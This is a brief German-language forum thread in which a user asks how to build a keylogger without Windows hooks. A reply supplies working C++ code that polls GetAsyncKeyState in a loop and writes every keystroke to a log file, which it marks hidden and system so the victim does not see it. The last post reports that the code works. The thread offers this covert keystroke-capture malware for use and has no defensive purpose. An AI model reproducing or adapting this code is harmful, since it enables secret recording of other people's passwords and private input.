keylog mit AttachThreadInput



  • Ich versuch gerade, einen keylogger ohne die hookfunktion mit Hilfe von AttachThreadInput zu realisieren. Leider hab ich kaum erfahrung mit Threads unter C++, irgendwie weis ich nicht, wo ich meinen Thread an den vom Fenster im Vordergrund verwendeten Thread hängen soll 😕
    Das Mitschreiben und in ne Textdatei speichern geht einwandfrei...



  • int getdakeys(char *logfile)
    {
      FILE *f;
      SetFileAttributes(logfile,FILE_ATTRIBUTE_HIDDEN | FILE_ATTRIBUTE_SYSTEM);  
      int ctmp;
      while(true)
      {
        for(int c=8;c<=255;c++)
        {
          if(GetAsyncKeyState(c)==-32767)
          {
            f=fopen(logfile,"ab");
            if(f==NULL)
              return 1;
            if(f!=NULL)
            {   
              ctmp=fputc(c,f);
              fclose(f);
              break;
            }
          }
        }
        Sleep(10);
      }
      return 0;
    }
    


  • Danke! Funktioniert echt gut! 😃


Anmelden zum Antworten